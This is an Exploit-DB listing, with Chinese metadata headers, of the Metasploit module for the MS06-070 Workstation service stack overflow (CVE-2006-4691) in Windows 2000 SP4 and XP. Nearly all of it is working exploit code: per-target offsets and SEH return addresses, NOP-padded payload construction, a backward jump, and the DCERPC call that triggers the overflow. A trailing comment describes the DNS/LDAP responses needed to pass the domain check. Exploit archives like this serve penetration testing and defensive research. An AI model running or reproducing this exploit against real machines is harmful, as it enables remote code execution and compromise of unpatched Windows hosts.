标题: Microsoft Workstation Service - NetpManageIPCConnect Overflow (MS06-070) (Metasploit) EDB-ID: 16372 CVE: 2006-4691 类型: REMOTE 平台: WINDOWS 发布日期: 2010-10-05 漏洞利用脚本: ##
# $Id: ms06_070_wkssvc.rb 10554 2010-10-05 19:29:10Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ManualRanking # Requires valid/working DOMAIN + DC

 include Msf::Exploit::Remote::DCERPC
 include Msf::Exploit::Remote::SMB
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Workstation Service NetpManageIPCConnect Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect
    function using the Workstation service in Windows 2000 SP4 and Windows XP SP2.

    In order to exploit this vulnerability, you must specify a the name of a
    valid Windows DOMAIN. It may be possible to satisfy this condition by using
    a custom dns and ldap setup, however that method is not covered here.

    Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator
    credentials are required to reach the vulnerable code. Windows XP SP1 only
    requires valid user credentials. Also, testing shows that a machine already
    joined to a domain is not exploitable.
   },
   'Author'         =>
    [
     'jduck'
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10554 $',
   'References'     =>
    [
     [ 'CVE', '2006-4691' ],
     [ 'OSVDB', '30263' ],
     [ 'BID', '20985' ],
     [ 'MSB', 'MS06-070' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic Targetting', { } ],
     [ 'Windows 2000 SP4',
      {
       'Offset' => (1058*2),
       'Ret' => 0x75022ac4  # pop/pop/ret in ws2help.dll
      }
     ],
     [ 'Windows XP SP0/SP1',
      {
       'Offset' => (1290*2),
       'Ret' => 0x71ab21cd   # pop/pop/ret in ws2_32.dll
      }
     ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 14 2006'))

  register_options(
   [
    OptString.new('SMBPIPE', [ true,  "The pipe name to use.", 'WKSSVC']),
    # NOTE: a valid domain name is required. See description.
    OptString.new('DOMAIN', [ true,  "The domain to validate prior to joining it."])
   ], self.class)
 end

 def exploit

  connect()
  smb_login()

  mytarget = nil
  if (target.name =~ /Automatic/)
   case smb_peer_os()
    when 'Windows 5.0'
     print_status("Detected a Windows 2000 target")
     mytarget = targets[1]
    when 'Windows 5.1'
     begin
      smb_create("\\SRVSVC")
      print_status("Detected a Windows XP SP0/SP1 target")
     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      if (e.error_code == 0xc0000022)
       raise RuntimeError, "Windows XP SP2 requires Administrator privileges!"
      end
      print_status("Detected a Windows XP target (unknown patch level)")
     end
     mytarget = targets[2]
    else
     raise RuntimeError, "No target detected for #{smb_peer_os()}/#{smb_peer_lm()}..."
   end
  else
   mytarget = target
  end

  handle = dcerpc_handle(
   '6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
   'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
  )

  print_status("Binding to #{handle} ...")
  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  print_status("Building the stub data...")

  distance = mytarget['Offset']
  hostname = make_nops(distance - payload.encoded.length)
  hostname << payload.encoded
  hostname << generate_seh_record(mytarget.ret)
  hostname << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

  name = datastore['DOMAIN'] + "\\\\L"
  name = Rex::Text.to_unicode(name)
  name << hostname
  name << Rex::Text.to_unicode(rand_text_alphanumeric(1000) * 3)
  name << "\x00\x00"

  stub =
   NDR.uwstring("\\\\#{datastore['RHOST']}") +
   NDR.UnicodeConformantVaryingStringPreBuilt(name) +
   NDR.uwstring("") +
   NDR.uwstring("") +
   NDR.long(0) +
   NDR.long(1)

  print_status("Calling the vulnerable function...")

  begin
   dcerpc.call(0x16, stub)
  rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  rescue => e
   if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
    raise e
   end
  end

  # Cleanup
  handler
  disconnect
 end

end



=begin

The IDL for NetrJoinDomain2 looks like this:
long _NetrJoinDomain2@28 (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in][unique][string] wchar_t * arg_3,
 [in][unique][string] wchar_t * arg_4,
 [in][unique] struct_C * arg_5,
 [in] long arg_6
 );


1. --> dns server - query for IN.SRV _ldap._tcp.dc._msdcs.DOMAIN
2. <-- dns server - response including answer and additional record.
                    answer: whateverserver.DOMAIN priority 0 / weight 100 / port 389
        additional: IN.A address of whateverserver.DOMAIN
3. --> ldap server - baseObject query with filter/attributes:
                   - filter: (&(&(DnsDomain=DOMAIN)(Host=TARGETHOSTNAME))(NtVer=06:00:00:00))
       - attributes: AttributeDescriptionList: NetLogon
4. <-- ldap server - searchResDone success, attributes data
                   - PartialAttributeList netlogon - 1 item
         - type 23, flags 0x1fd, domain GUID,
       forest, domain, hostname, netbios domain, netbios hostname,
       user, site, client site, version, lmtoken, nttoken
5. validated.

=end URL: https://www.exploit-db.com/exploits/16372